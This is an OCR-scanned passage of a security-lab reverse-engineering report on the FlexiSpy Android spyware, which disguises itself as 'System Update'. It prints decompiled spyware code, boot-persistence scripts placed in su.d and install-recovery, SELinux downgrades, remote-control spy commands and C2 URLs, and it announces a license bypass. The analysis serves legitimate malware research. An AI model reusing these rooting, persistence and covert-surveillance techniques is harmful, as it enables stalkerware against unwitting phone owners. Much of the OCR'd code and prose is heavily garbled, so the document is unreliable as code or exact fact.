FxLog.d("PolymorphicHelper”, "startRootProcess # Setup reboot hook"):

}

| azgls.setupRebootHook (Polymorphicielpes . getBusyBoxPath (), "maind’, argld);|

}
catch(Exception v10) {
throw new InstallationExcepticn():

if (PolymorphicHelper.LOGD) {
Fxlog.d("PolymorphicHelper", "startRootProcess # Remount system as READ-ONLY");

ShellUtil.remouncFileSystem{false);
if (PolymorphicEelper.10GD) [
FxLog.d("PolymorphicHelper”, "startRootProcess # Start Main daemon and wait

}

boolean v13 =|Daemonielper.startProcessAndait ("PolymorphicHelper’, argl7, DaemonCustomization.URI STARTUP FINISE, arglf, 180000);|
if (PolymorphicEelper.10GD) [
FxLog.d("PolymorphicHelper”, "startRootProcess # isSuccess? &s", new Object[]{3

ean.valueOf (v13)}):

if('v13) {
throw new RunningExcepticn('Daemon startup take too long”);

if(!ShellUtil.isProcessRunning('maind")) |
throw new RunningException('Dacmon startup Failed’);

if (PolymorphicHelper.LOGD) {

FxLog.d("PolymorphicHelper”, "startRootProcess # Setup Xposed ...
}
try |
| PolymorphicHelper.installXposed(): |
}

catch(Exceprion v10) {
throw new InstallationException();

if (PolymorphicEelper.10GD) [
FxLog.d("PolymorphicHelper”, "startRootProcess # EXIT

Figure 41. The function startRootProcess() of the class PolymorphicHelper

Next we analyze some key functions one by one, as follows.



h.

ShellUtil.createDirectory: Creates the folder /data/misc/adn.

DaemonHelper.backupApp: Backs up app APK file com.android.systemupdate-1.apk in folder
/data/misc/adn.

extractAssets: Copies files from /data/data/com.android.systemupdate/app_data to /data/misc/adn.
PolymorphicHelper.installKillerMobileCallRecording: Installs mobile call recording, the lib libasound.so
implements the functionality.

PolymorphicHelper.setupExecutables: Sets up some executables. It includes /data/misc/adn/busybox,
/data/misc/adn/ffmpeg, /data/misc/adn/vdaemon.

createStartupScript: Creates the startup script maind in folder /data/misc/adn. The script is shown below.

18
/data/misc/adn/busybox pgrep maind > /dev/null

/data/misc/adn/maind 1

and /system/etc/install-recovery-2.sh.

[ -e /data/misc/adn/busybox ]

bl

fdata/m fadn/b ox pgrep maind

fdata/misc/adn/maind 1

This script 0000adam.sh is executed when the device is booted. The folder /system/su.d should be a
daemon directory for SuperSU, the scripts in this directory are executed when the device is booted.
That’s the startup program.

Because SuperSU has already been installed on my Nexus 5, the original install-recovery.sh was modified
by SuperSU as follows:

, that will
fil

Figure 42. The script /system/etc/install-recovery.sh

The script file /system/etc/install-recovery.sh is added into init.rc, so install-recovery.sh is executed when
booting the device. In turn, the script install-recovery-2.sh can be executed.

DaemonHelper.startProcessAndWait: Executes startup script /data/misc/adn/maind.



i. PolymorphicHelper.installXposed: Installs Xposed hook framework.

Looking back at Figure 33 and 34, once the program finishes switching container, it sends a message with type 226
to handler. The following code is used to handle the message with type 226.
case 226: [

if (Installictivity.LOGV) {
Fileog.wv({"In A rits

¢ "handleMessage hat: WHAT CLOSE AFPP")

1

|I:13tall;.ctivit3,-'. thisz.notifylUser (argl.ob7) :l
break;

Figure 43. The code of handling the message with type 226

In the function notifyUser of the class InstallActivity, it hides SuperSu in full mode and prompts a dialog to indicate
rebooting the device.

Restart your dey nd then tap
the com.android.system service
icon to activate the software.

Restart Now

Figure 44. The dialog to indicate rebooting the device.

When you tap the button “Restart Now”, the program executes command “/data/misc/adn/busybox reboot -’ to
reboot device.

Additionally, | found some URLs in the spy app.

http://client.mobilefonex.com
http:// -client.mobilefonex. com

http:// -client.mobilefonex.com/gateway
http:// -client.mobilefonex. com/gateway/unstructured

Finally, I draw the workflow of the first installation of the spy app.



Server ("com.vvt.rmictrl.server”,port=12512)
Handle the command RemoteFunction.DEBUG_SWITCH_CONTAINER and
transfer this command to server “wvt.polymorphic.server port:12514"

server "vwwt.polymorphic.server port:12514*
switchContainer()

setupNewContainer()

PolymorphicHelper :startRootProcess()

1.Create the folder /data/misc/adn,

2.Backup app APK file,

3.Copy files from ./app_data to /data/misc/adn

4.Install mobile call recording,

5.Setup some executables including busybox ffmpeg and vdaemon
6.Create the startup script /data/misc/adn/maind

7.Setup reboot hook scripts /system/su.d/0000adam.sh and fsystem/etc/
install-recovery-2.sh

8.Execute startup script /data/misc/adn/maind

9.Install Xposed hook framework

e
%

3

s

Figure 45. The workflow of the first installation of FlexiSpy for Android

At this point we complete the whole analysis of the spy app’s first installation. We can see the spy app is designed
sophisticatedly and rather complicated. Next, we will deep look into the startup script.



Part 2: Deep Look into the Startup Script

In part 1, of our FortiGuard Labs examination of the Android spy app FlexiSpy, we were able to see that the startup
script /system/su.d/0000adam.sh could be executed when the device is rebooted. In this second part we will take
a deeper look into its startup script. The following is the script 0000adam.sh.

[ -e /data/misc/adn/busybox ]

18
/data/misc/adn/busybox pgrep maind > /dev/null

/data/misc/adn/maind 1

Figure 1. The startup script /system/su.d/0000adam.sh

The following is the script maind.

Figure 2. The script /data/misc/adn/maind

In the maind, the script uses app_process to execute a java class com.vvt.daemon.MainDaemonMain. The
class MainDaemonMain is in the maind.zip. We can see that maind.zip is a jar format and includes a classes.dex.

» [@ foispy backup (el
Mame Size Packed Size  Modified
META-INF 42054 11505

|| classes.dex 5434644 2129453 2017-02-09 17:57

Figure 3. The jar file maind.zip

The classes.dex in maind.zip contains the core code of the classes.dex in the spy app 5002_-
2.25.1_green.APK.

Let’s take a deep look into the class com.vvt.daemon.MainDaemonMain. The following is the function main() of
class MainDaemonMain. It first initializes the log file /data/misc/adn/fx.log. All log info could be written into this
log.

public static void main({String[] arg5) {
boolean vl = false;
| DaemcnHelper.initlog ("MainDaemonMain", DaemonCustomization. WORKING DIRECTORY, "fx.log") .'|
MainDaemcnMain v0 = new MainDaemonMain();
if(arg5.length » 0) { \L

vl = "1 .equals(args[0]): Init log /data/misc/adn/fx.log

}
vo [T

Figure 4. The function main() of class MainDaemonMain

Next, we will continue to look into the function init().



Private void init(boolean argil) {
AF(this.T0GD) [
FxLog.d("MainDaemouain®, "init § ENTER .

1
if (this.Z0SD) |

Frlog.d("MeinDacmontiain®, "init § device build: (SDK:" + BuildSVERSICH.SDK + * Relesse:® + BulldsVERSICH.RELEASE + * Manafacture:® + Build.MANDF
1

1F(this.Z0GD) |

Fxlog.d("MairDaemonblain’ new Ozject[] [Soolean. valueOf (argll) ]} 2

"init # starthppEngine:
1

o
Af (his.L06D) |
FxLog.d("MainDasmoritsin®, "init § Change SELinux mode if nseded ...")5
)

this. switensELinmatode tieaded ) :
T {this. 1060} [

FxLog.d("MainDaemordfain®, "init § Switch defsult language to \ AF nseded.

e
Af (Shellltil.isProcesshunning(v3)) {
L S (e e

{this.LOGDy |
ExLog.d("MainDasacrifain®, "init § Fatch SELinuc if needed .

Ar{enis. 106Dy {
FxLog.d ("HainDaemoniain®, "init # Walting until the system is ready .

Daemcafielpe: .waitSystesReady ("MaiiDasnontiain’) i
TF{this. 1060} |
FxLog.d("MainDasmonitain®, "init # Looper.prepareiainlooper() ...");

Locpar. prepazeMainlooper ) :
Ar{tnis.106D) |
FxLog.d("MalnDasmordfain®, "1nit § Create system context’

hi pext = SystesContext ()1
this.aResolver = this.sContext.getContentBesolves()s
4f (this.scquireNskelock (this.mCantaxt) |

1f (this. 106D {

FaLog. d{"MainDaescrain’

"init § PARTIAL WAKE_LOCK acquired!®):
1
A£(0SUt11. SeAndrosdsOeLaes ) |

) i

4F (this. T0GD)
Falog.d(“MainDssmonMain®, "init § Clear dalvik cache

FelymorphicHelper. removeDalvikCache ()

Af(this.106D) [
Falog.d("MainDaemorMain”, "init § Synchronize with monitor process’);
1

Fee—
T

i, e+ i oo o i oo
I

Falog.d({"MainDaemorMain’, "init #§ Synchronize with system daemon process'

if (this. LOGD) {

Falog.d{"MainDaemorain”, *init 4 Prepare server socket .

1
arpiusfprep 3t
AF(this.I0GE) |

Fxlog.e( MainDasmonMain®, "init § Create ssrver socket FAILED!!

Shellfil. kiliSelf():
return;
1
Af(this.106D) {
Falog.d{"MainDaemorMain”, "init § Setup root container®);
]
th i =, BORKING DIRECTORY) ;
ey |

if (Ehis.106D) |
Fxlog.d( MainDaemondain®

Nit # STATT YOOL CONTAINET\'S SOCKST SErver”):

1
iht0,mcotesper pmarmrmeris]

cateh (FaSockesExzeprion w0 1) |
throw new RusningException(*Socket server setup failed®);

b

40 (this. 2060 [

FXLog.{"MAIIDAGRORMALN", "Anit § STAYE routine tasxs®):

1

this.startRoutineTask();
This. LoaD]
Falog.d(“MsinDaemorMain®, *init § Hotify startup success®);

Af{this. 10GD)
Falog.d{"MainDaemorMain”, "init # Adding unhandled caught exception handler”):

1

TF(this. L005
Falog.d{"MainDaemoriain’, “init § update binary if vequired.

Irargllyt—— —-arot
ths]

1

AF (this. 106D) {
Falog.d{"MainDaemoriain’, *init § Looper.locp()®

1

per. 100p(]
goto label ;

]
Af(this.LOGE) |

FxLog.e (“MainDaemoriain®, "init § Acquire Wakelock PAILED1I®)7
)

Shell¥til.killSelf():

1
cateh(Thzowatle vO)
Af{enis i
ExLog.e ("MainDasaciifain®, "init § Brror: #s”, new Object[]{v0.tadtring())):
)

this.exitbracefully()?
1

Label_77:
AF(this.Z0SD) [
Fxlog.d("MairDaemonlain®, "init § EXIT');
1



Figure 5. The function init()

We choose some key functions to analyze.

Sm o0 a0

switchSELinuxModelfNeeded(): Switches SELinux mode to PERMISSIVE if need.

writeMethodToFile: Writes string “STARTUP_SCRIPT” into /data/misc/adn/app_start_up_method. It
represents the way of the app will startup.

patchSeLinux(): This is used to patch SELinux on Samsung device with android 4.4 or later.
waitSystemReady: Waits until the system is ready.

syncMonitor: Executes startup script /data/misc/adn/pmond.

syncBug: Executes startup script /data/misc/adn/callmond.

syncSystemDaemon: Changes the shell to 'system' user and executes startup script /data/misc/adn/psysd.
prepareServerSocket: Creates LocalServerSocket “socket:com.fx.socket.psysd” to communicate for the
crossing process.

startServer: In RootProcessContainer, it creates server socket:vvt.polymorphic.server port:12514 and start
server.

startRoutineTask: Starts routine tasks(syncMonitor and syncBug) , which are executed repeatedly at
regular intervals with Timer.

startAppEngine: Starts app core engine by sending a command to the remote server
“vvt.polymorphic.server:12514” started in startServer().

private woid startAppEngine() [
com. vvt.daemon.MainDeemonMaingl v0 = new TimerTask() {
public woid run{) {

boolean v3 = false;

int va;

for (v = 0; v2 < 3; ++v2) |
RemoteStartAppEngine w4 = new RemoteStartAppEngine():|
try { > Send a command of remote 5ta_\'t app engine to server

v3 o vi.execute ()] bocleanvalue() ; T "wvt.polymorphic.server:12514" to start app engine.
if (MainDaemonMain.this.LOGD) {
FxLog.d("MainDa

'startAppEngine # result: %s", new Object[]{Bocolean.valueOf(v3)l);

1

if({v3) s& {MainDaemcnMain.this.mIsFirstRunaAfterdutolUpdate)) {
BinaryUpdateHelper v0 = new BinaryUpdateHelper():
v0.setContext (MainDaemonMain. this.mContext) ;
v0.3etWorkingDir (DaemonCustomization. FORKING DIRECTORY) ;
v0.deleteBackupDir() »
MainDaemonMain.this.mIsFirstRundfterdutollpdate = false;

Figure 6. The function startAppEngine()

The following is the code snippet for handling the command in remote server

“vvt.polymorphic.server:12514”.
public OF ct processCommand (TepSccketCmd argd) |

if (PolymorphicContainer.LOGD) {

Filog.d(this.getTag(), "processCommand # Start app engine");
1
v0 1 =8

n.valueQf (this|startippEngine () N7

Figure 7. The code snippet of handling command RemoteStartAppEngine

The code snippet of the function startAppEngine() in class com.vvt.daemon. RootProcessContainer is

shown below. It starts the engine in RunningMode.FULL mode.
protected boolean () {

Logger.getInstance () .setlogPath (this.mforkingDir, "fx.log");
Logger.getInatance () . setLogOutput (6) »
if (RootProcessContainer.LOGV) {

FxLog.v({"RootProcessContainer”, "startAppEngine ¢ ENTER ..."):

}

this.mippEngine = new AppEngine (this.mContext, this.mWorkingDir, RunningMode.FULL):
try {

this.mippEngine|startEngine () ;

}



Figure 8. The code snippet in function startAppEngine() of class RootProcessContainer
In Figure 20 of Part 1, we analyzed the function startEngine() of class AppEngine.
From the analysis above, we learn that some daemon scripts could be executed during execution of maind.
1. /data/misc/adn/pmond is a process monitoring daemon.

LD_LIBRARY_PATH
CLASSPATH=/data/mi

LD_LIBRARY_PATH
TH-/data/

Figure 9. The running daemon processes after rebooting device.

We also can see two tcp sockets listen on port 12512 and 12514. They are the remote server “vvt.polymorphic.server
port:12514” and “com.vvt.rmtctrl.server:12512". The server “vvt.polymorphic.server” handles some command related
to the container, and the server “com.vvt.rmtctrl.server” handles the remote control commands related to spy
activities.

LISTEN

Figure 10. The servers listen on port 12512 and 12514



The following is some of comnunication traffic with the two servers on port 12512 and 12514.

‘‘‘‘‘‘‘‘ sr.3com. fx. socket. command . RemoteCheckTepServeravailable. . . .. .f. . ..xr. .com. fx.socket. TepSocketCmd . k.
..mDatat..Ljava/lang/0bject;L. .mResponseKeyClasst. .Ljava/lang/Class;xppyr. . java. lang.Boolean. r........ 7. .valuexpsr. .java.lang.Boolean.
[P z. .valuexp.

Figure 11. The traffic of tcp session on port 12512

........ sr..com.vvt.remotecontrol. command . RemoteGetRmtCtrl’ [x..<.....xr..com.fx.socket.TcpSocketCmd. k.

<Hi!...L..mDatat..Ljava/lang/Object;L. .mResponseKeyClasst..Ljava/lang/

Class;xppvr. 'com.vvt.remotecontrol.RemoteControlImpl....jR.....L..mRegisteredFunctionst..Ljava/util/

HashSetjxpsr. 'com.vvt.remotecontrol.RemoteControlImpl....jR..... L..mRegisteredFunctionst..Ljava/util/HashSet;xpsr..java.util.HashSet.D.....

Ao XPWa s Hibooan Tl

$com.vvt.remotecontrol.RemoteFunction........... xr..java.lang.Enum........... xpt..DEBUG_CLOSE_APP~g.~..t..REQUEST_CALENDER~g.~..t.
+DEBUG_IS_RESUME_ON_DEMAND_AMBIENT_RECORDING~q.~..t..ENABLE_CALL_RECORDING~g.~..t..SEND_MOBILE_NUMBER~q.~..t..DEBUG_RESTART_DEVICE~q.~..t..DEBUG_IS
_FULL_MODEwq.~..t..DEBUG_UNHIDE_APP~q.~. .t..SET_SUPERUSER_VISIBILITY~q.w..t..SEND_CURRENT_URLwg.w~..t..GET_LICENSE_STATUS~q.~..t..DEBUG_GET_CONFIG_I
Drvg.nv. .t. . SEND_HEARTBEATwG.~. .t. !

SYNC_TEMPORAL_APPLICATION CONTROL~q.~..%t..SEND_BOOKMARKS~q.~..t..DEBUG_GET_ACTUAL CONFIG_IDw~q.~..%t..DEBUG_SET_APPLICATION MODE~q.~..t.
CLEAR_URL~q.~. .t.

FREQUEST_TEMPORAL_APPLICATION CONTROL~qg.~..t..REQUEST HISTORICAL EVENTS~g.~
QUERY URL~q.~..t..DEBUG_PRODUCT VERSION~q.~..t..SET LOCK PHONE SCREEN~q.-~..t.
URATIONw~g.~. .t. .ON_DEMAND_IMAGE_CAPTURE~g.~..t..SET_EVENT_MAX_NUMBER~g.~..t.
SET_UPDATE_AVAILABLE_SILENT_MODE~g.~..t..DEACTIVATE_PRODUCT~q.~..t..I5_PRODUCT_ACTIVATED~q.~..t.

SPOOF_SMSwq.~. .t..SET_EVENT_TIMERwq.~. .t..DEBUG_GET_APPLICATION_MODEwqg.~..t..SET_DELIVERY METHODwq.~..t..DELETE_ACTUAL_MEDIA~q.~..t..GET_GPS_ON_DEM
ANDwg .~ . t. .GET_EVENT_COUNT~g.~..%..GET_SETTINGSwg.~..t. RESET URL~q.~..t..ON_DEMAND_AMBIENT RECORD~q.~..t..ACTIVATE_PRODUCTw~g.w~..t.

DEBUG_IS CALLRECORDIMNG_SUPPORTED~q.~..t..ADD URL~q.~..t..SEND_INSTALLED APPLICATIONS~q.~..t..UNINSTALL PRODUCT~q.~..t..SEND_EVENTS~q.~..t..DEBUG_SW
ITCH_CONTAINER~q.~..t.*SET_DOWNLOAD_BINARY_AND_UPDATE_SILENT MODE~q.~..t..SEND_ADDRESS_BOOK~q.~..t..GET_DIAGNOSTICS~q.~..t..DEBUG_SEND_TEST SMS~q.~
..t..RESTART_DEVICE~q.~..t..SEND_SETTINGS EVENT~q.~..t..UPLOAD ACTUAL MEDIA~q.~..t..REQUEST BATTERY_ INFO~q.~..t..DEBUG_GET VERSION CODE~q.~..t..GET
_CONFIGURATION~q.~..t..DELETE_DATABASE~q.~..t..ENABLE_EVENT_CAPTUREx

t..6ET_CONNECTION HISTORY~q.~..%t..ENABLE_EVENT_DELIVERY~q.~..t.
.DEBUG_HIDE_APP~q.~..t..REQUEST_DEVICE SETTINGS~q.-~..t..REQUEST_CONFIG

Figure 12. The traffic of tcp session on port 12512.

..sr.1lcom.vvt.polymorphic. command.RemoteSwitchContainerr...S=..... xr. .com.fx.socket. TepSocketOmd . k.
<Hi!...L..mDatat..Ljava/lang/Object;....L..mResponseKeyClasst..Ljava/lang/Class;xppvr..java.lang.Boolean. r........ Z..valuexpsr..java.lang.Boolean
[Fooooooo: Z..valuexp.

Figure 13. The traffic of tcp session on port 12514.

At this point, we have completed the analysis of the startup script. It starts five daemon processes: maind, pmond,
callmond, callmgrd and psysd. In the process maind, it starts the app engine as well as two remote server
“com.vvt.rmtctrl.server:12512” and “vvt.polymorphic.server port:12514”, and the server
“com.vvt.rmtctrl.server:12512” is a remote control server that processes remote commands.

Next, let’s analyze how the spy app work after rebooting the device. When we launch the spy app on the home
launcher, you see the following screenshot. It’s an activation view. We need to input a license key to activate the
product before it can begin spying.

System Update

You can activate this product if you have a License Key.

Activate

Mode: Full

Figure 14. The screen of activation



We then look into the execution of launching the spy app after first installation. Using the process found in Figure
12 of part 1, of our analysis, we will now analyze the function initialize() of class PrerequisitesSetupActivity again.

private void initialize() {
if (PrerequisitesSetuphcrivicy. I0GY) {

Fxlog.d{"PrerequisitesSetupActivity", "initialize 4 ENTER ..."):
1
if (this.mRemoteControl == null) {
try {
[this.mRemcteControl = RemoteControlielper.getRemoteControl ()7 |

catch (RemoteControlException v2) |

f(this.mRemoteControl == null) |
if (PrerequisitesSetupActivity.IOGV) {
Fxlog.d("PrerequisitesSetupActivity”, "initialize 4 Remote Control is not created”):
1

boolean v0 = this.isFirstLaunch():
if (FrerequisitesSetupAenivity.loGW) |
FxLog.d("PrerequisitesSetupActivity”, "initialize # Is First launch ? #s", new Object[]{Boccl

}

n.valueQf (v0) }) 7

if(w0) |
if (FrerequisitesSetuphetivity.10GW) {
FxLog.d("PrerequisitesSetupActivity’, "initialize 4 Start AppEngine’);
1

this.startAppEngine();
goto label_34:

1

boolean vl = WaitTasks.requiresToWait(}:
if (PrerequisitesSetuphctivity.1OGW) |

FxLog.d("PrerequisitesSetupActivity”, "initialize # Requires to wait ? s, new Object[]{Boolean.valueOf(vi)}):
1

iF(vl) |
niaitTask(this).execute (new Void[0]):

if (PrerequisitesSetuphctivity.1OGW) |
FxLog.d("PrerequisitesSetupActivity”, "initialize # Start AppEngine”);
1
this.startAppEngine () ;
1
else |
if (FrerequisitesSetupctivity.LOGV) |
FxLog.d("PrerequisitesSetupActivity", "initialize # Remote Control is created.”):

1

this.postInitialize();

rerequisitesSetupherivicy. 10GV) |
Fxlog.d("PrerequisitesSetupActivity”, "initialize # EXIT ...");

Figure 15. The function initialize() of class PrerequisitesSetupActivity

This time the return value of RemoteControlHelper.getRemoteControl() is not null because the remote control
server “com.vvt.rmtctrl.server:12512” has been started during execution of the startup script. The program can
then invoke the function postinitialize().

private wvoid postInitialize() |

boclean vl =|this.isFullMode(); |

if (PrerequisitesSetuplctivity.LOGV) |

Fxlog.d({"PrerequisitesSetuphctivity”, "postInitialize # Is full mode ?" + wl);
}
if(vl) {

[this.showActivationScreen() : |

thig.finish();
}

Figure 16. The function postlnitialize()

Since the return value of the function isFullMode() is true, it invokes the function showActivationScreen() to show
the activation screen.

We were not able to find the license key for the spy app in the leaked material we were able to gather. So, in order
to analyze how the spy app launches its spying activities, we will need to bypass the license. In next part, we will
provide an analysis of the product activation process and bypass the license.



Part 3: The Workflow of Product Activation and How to Bypass License

To look into how the spy app launches the spying activities, we need to bypass the license. In this part we will
analyze the process of product activation and bypass the license.

The Workflow of Activation Product

Firstly, we analyze the product activation. We input a random activation code in text box and click the button
“Activate”.

1@ System Update

You can activate this product if you have a License Key.

Activate

Mode: Full

|

Activate Software

Activating product. This may take
amoment...




Figure 2. Activating Software

Connection Error

Unable to connect to server.
Check your internet connection
and try again.

Figure 3. Connection Error when activating software

From Figure 3, we can see there is a connection error when activating software. It means that it needs to connect
the remote server to complete the activation of product.

Then let’s see what happens when | click the button “Activate”. The following is the function onCreate() of the
class ActivationActivity.
public void onCreate (Bun

if{Activaticonfctivi
FxLog.d{"Activ

dle argd) [

'

super.onCreate (argd) ;
thig.setContentView (2130903042);
this.editTextd vate = this.findViewById(2131230724);
this.buttonActivate = this.findViewById({2131230725);
ng v0 = Path.getWritablePath (this.getApplicationContext());
this.mippInstance = Applnstance.getInstance ({{Co xt)this));
this.mSuManager = new SuperUserManager(v0);
this.mHandler = this.createHandler();
this.ensureAppContainerInfoExist ({{Context)this));
this.buttonActivate.setOnClickliatener (new Vie
public void onClick(View argd) {
ng w0 =|Accivaticn}—‘.ctivity. this.editTextActivate.getText () .taString(); I
if (' FRStringlLils. 18ErpTyOrNaIL (v0)] 1
UIUtils.hideSoftInput (ActivationActivity.this, ActivaticnRctivity.this.getCurrentFocus()):
|Rctivaticnhotivity.this.activateProduct (v0) ;|

}
b
if {(Rctivationfctivity.LOGD) [
FxLog.d({"Activat Actiwvity", "onCreate # EXIT ..."):

Figure 4. The function onCreate() of the class ActivationActivity



The function activateProduct() is used to activate the product.

private void activateProduct(String argé) {
if (ActivationActivity.LOGV) {
FxLog.v("ActivationActivity”, "activ

1

teProduct # ENTER ...");

ol

if (this.mRemoteControl == null} {
if('Activaticnhetivity.LOGD) |
goto label 127

ivationActivity", "activateProduct # Remote control not found!");

a

vl = this.getString(2131034144);
v2 = this.getString(2131034143);

nce)v2), ((CharSequence)v0), true):

this.mProgressDialeg = ProgressDialog.show(((Contex
1
catch (E
1

n 3l {

new Th d("ActivationThread", argé) {
public woid run() {

String v4;
ActivaticnResponseArgs v6 = new ActivaticnResponseArgs();
EmtCtrlInputActivation w2 = new BmtCtrlInputictivation():
w2.sethActivationCode (this.val$activationCode) ;
ControlCommand vl = new ControlCommand():
wl.setFunction(RemoteFuncticn. ACTIVATE PRODUCT) ; I
I.secDaca (V2] :
try {

Cbject v5 =|ActivationActivity.this.mRemoteControl.execute(vl);

v6.setSuccess ( { (EmtCtrlActivatelutputstatusMessage) vs) . isSuccess () ) ;

v6.setRecordingludicSourceStatusCode ( { (RmtCtrlictivatefutputtatusbessage)v5) . getRecordingudioSourceStatusCode () )

vé6.3etErrorCode ( ( (RmtCtrlActivatefutputStatuaMessage) v5) .getErrorCode() )

if (((RmtCtrlictivateQurputStatusMessage)vs) .ia5ucceas()) {

v4 = ActivationBctivity.this.get5tring(2131034149);

goto label 29;

i

v4 = {(BmtCtrlictivateCutput3tatusMessage)v5) .getMessage():
}
catch(RemoteControlException w3) {
if (RctivationfActivity,
Fxlog.e("ActivationActivity"”, "activateProduct # Error: 2s", new Object[]{v3.getMessage()}):

v6.setMessage (v4);
ActivaticonBctivity.this.mHandler.sendMessage (ActivationActivity.this.mHandler.obtainMessage (223, v6)):
}
tarti);

if (Activationhetivity.LOGV) {

FxLog.v("ActivationActivity", "activateProduct # EXIT ...");

ol

}

Figure 5. The function activateProduct()

In function execute(), it send the command RemoteFunction.ACTIVATE_PRODUCT to the remote control server
“com.vvt.rmtctrl.server:12512”. When the server receives the command, it handles the command
RemoteFunction.ACTIVATE_PRODUCT to activate the product. In part 2, we can see the remote control server
“com.vvt.rmtctrl.server:12512” has been started in the startup script /data/misc/adn/maind.

The function processCommand of the class RemoteControlHandler is used to handle the command. The following
is the code snippet for handling the command RemoteFunction.ACTIVATE_PRODUCT.

label 99: -

v32_& = this|processActivate (v33, this.mComponent.activationManager, this.mComponent.licenseManager);

=

goto label 21;

Figure 6. The code snippet of processing command RemoteFunction.ACTIVATE_PRODUCT



The following is the code snippet of the function processingNextRequest() in inner class CommandExecutor of the
class com.vvt.phoenix.prot.CommandServiceManager.

switch (| (Request)vl).getRequestType(}] |

an ger Cor dExecutor > processinglextRequest # New Request");
ExecutorSessicn.access$202 (this.mExecutorSession, true):
ExecutorSeasion.accesss902 (this.mExecutorSession, vi);
ExecutorSession.access$502 (this.mExecutorSession, vl.getCommandRequest().getCommandListener());
ExecutorSessicn.accesss402 (this.mExecutorSession, vl.getCaid{)):
if{{vl.getCommandRequest {) .getCommandlata() instanceof] SendActivate]) {

| this.doCallRecordingAudioSource () ; |

¥

this.doKeyExchange (};

tRequest # Resume Request');

ExecutorSessicn.accesss1002 (this.
ExecutorSessicn.accesssl102 (this.m!
ExecutorSession.access$502 (this.mE:
ExecutorSessicn.accesa$d02 (this.
ExecutorSessicn.access$1202 (this.mE
if (ExecutorSession.accesss1100 (this.mE

this.doValidateVirtualPayloadMds () ;

vl.getSession());
vl.getCommandListener());
n, vl.getCaid{));
rSession, ExecutcrSessicn.access§ll00(this.mExecutorSession).getSsid()):
cutorSession) .hasVirtualPayload()) {

¥

Figure 7. The code snippet of the function processingNextRequest()

In the function doCallRecordingAudioSource(), it could connect the remote http server “httx://test-
client.mobilefonex.com/gateway/unstructured”, this URL is not available. The program throws an exception
‘Unable to resolve host "test-client.mobilefonex.com": No address associated with hostname’.

After executing function doCallRecordingAudioSource(), the program could invoke doKeyExchange() which is used
to do key exchange operation. It also connects the remote http server “httx://test-
client.mobilefonex.com/gateway/unstructured”, the program throws an exception ‘KeyExchange Error: Unable to
resolve host "test-client.mobilefonex.com": No address associated with hostname’.

Because it fails to connect the remote http server, the response is obviously failed. In turn, the program invokes
the function onFinish() in the class com.vvt.activation_manager.ActivationManager.

The definition of the function onFinish() in the class com.vvt.activation_manager.ActivationManager is shown
below. The class ActivationManager implements the interface DeliveryListener.



public void onFinish(DeliveryResponse argd) [
if (RcrivationManager.LOGV) |
[Faleg-v(Activa ger', "onFinish # START .17 |

}

this.mIsP: =quest = false:
if(vl '= mull) {
if (ActivationManager.IOGV) {
FxLog.v("ActivationManager”, "onFinish 4 CmdEcho: &s", new Object[]{Integer.valueOf (vl.getCmdEcho())});

—— Due to not connecting remote http server, v1 is null.

1

try {
switch(vl.getCmdEcho()) {
case 2: [
goto label 337
}
case 3: {
goto

1
case 8: {
goto 1

§
i

if (ActivaticnManager.LOGD) {
FxLog.d ("Activati

g

er", "onFinish # Unhandled command co

1

this.handleResponseDeactivate (argd):
14 27:

If it's successfully for activation, the program could invoke this function.

if (ActivationManager.LOGD) {
Fxlog.d ("Activati ger", "onFinish # SEND ACTIVATE ..");
}

this.handleResponselctivate (argd, this.mProdu

fo, this.mPhonelnfo); |

if (ActivaticnManager.LOGD) {
FxLog.d ("Activati

g

er", "onFinish # SEND DEACTIVATE .."):
1

this.handleResponseDeactivate (argd):

if (ActivationManager.LOGD) {
Fxlog.d ("Activati ger", "onFinish # GET ACTIVATION CODE .."):

}

this.handleResponseGetAc (arg9d) ;

1
catch(E
if (!RctivationManager.LOGE) |

on w0) {

goto la

1

"onFinish # Error: &s", new Cbject[]{v0.teString()})r

ager.resetlicense():
istener '= mull) {
ionListener.onError (ErrorResponseType. ERROR PAYLOAD, -1, ['Unable to connect to server.\n your internet comnection and tr

if (RcrivationManager.LOGE) {

Fxlog.e("Activationk r", "onFinish # wmActivationListener is nmll"™);

if (RerivationManager.IOGY) |
Fxlog.v("Activatio

", "onFinish # EXIT ..");

Figure 8. The function onFinish() in the class com.vvt.activation_manager.ActivationManager

If the activation is failed, it could invoke the function resetLicense() in the class com.vvt.license.
LicenseManagerlimpl to reset the license. It causes an error "Unable to connect to server.\nCheck your internet
connection and try again.". The error is exactly same as the one we can see in Figure 3.

If the activation is successful, the program could invoke function handleResponseActivate() to update the license.



private void hand vate (Deli; argl3, PreductInfo argld, Phonelnfo arglS) throws LicenseExceprion {
int v&;
if (ActivationManager.LOGV) [
FxLog.v ("Activation

dleResponseActivate # START");

}

boolean v2 - argl3.issuccess()
{

if (ActivationManager.LOGD)
String v8 a

tion

a ger
eReSPONSEACE Y

te # Result: 8s":

Fxlog.d(ve, v9, v10):

1
ifw2) {
ResponseData v5 = argl3.getCSMresponse ();
if (ActivationManager.LOGD) (
FxLog.d("Acti 85", valueOf { { (SendActivateResponse)v5) .getConfigld())})
i
try {
v6 = ((SendActi: }v5) .getCallRecordinghudi 0- de () ;
int v0 = ((SendActi )¥5) . getCallRecordinghudi () -getAudioSouree () ;
if (ActivationManager.IOGD) {
FxLog.d{"Acti " dleResponsehctis &d Audio source ID: Integer.valueOf {vl)]);
1
this.mPref.getPreference (FxPreferenceType. CALL RECORDING AUDIG SOURCE).setRudicSource (v0);
this.mPref.savePreference();
catch (FxPreferenceException v} {
if (!ActivationManager.LOGE) |
goto label_54
}
FxLog.e ("Activationd "handleResponseActivata”,
b
Licenselnfo v3 = new Licenselnfo();
v3.sethctivationCode (this.mActivationCode) ;
v3.secConfigurationTd (((SendictivateResponse) v5) .getConfigld());
v3.setLicenseStatus (LicenseStatus. ACTIVATED) ;
v3.3etkdS ([ (SendActivateResponse)vS) .gethds ()] ;
if (ActivationManager.LOGD) (
FXLog.d("Acti: license"
i
this.mL [updatelicense (v3, argld, argls getbeviceld(), true
if (this.mActivationlistener 1= mull) |
if (ActivationManager.IOGD) {
"handleResponseActivate 4 Notify activation listener”
}
[this.mastivationListener. onsucceas (v6) ;|
Goto Label 2%7
i
if (1ActivationManager.LOGE) {
goto label
1
Txlog.e("ActivationManager”, "handleResponseActivate # activation listener is nulll");
aoto
}

ponseActive []{argl3.getErrorResponseType (), Integer.valueOf (argl3. de (}), argli.

"handleRes

"hand ponseActivate # Reset license")

this.mlicenseMansger.resetlicense (};
if(this.mActivationListeper != null) [
if (ActivationManager.L0GD) |

FxLog.d("Actis ion listener");

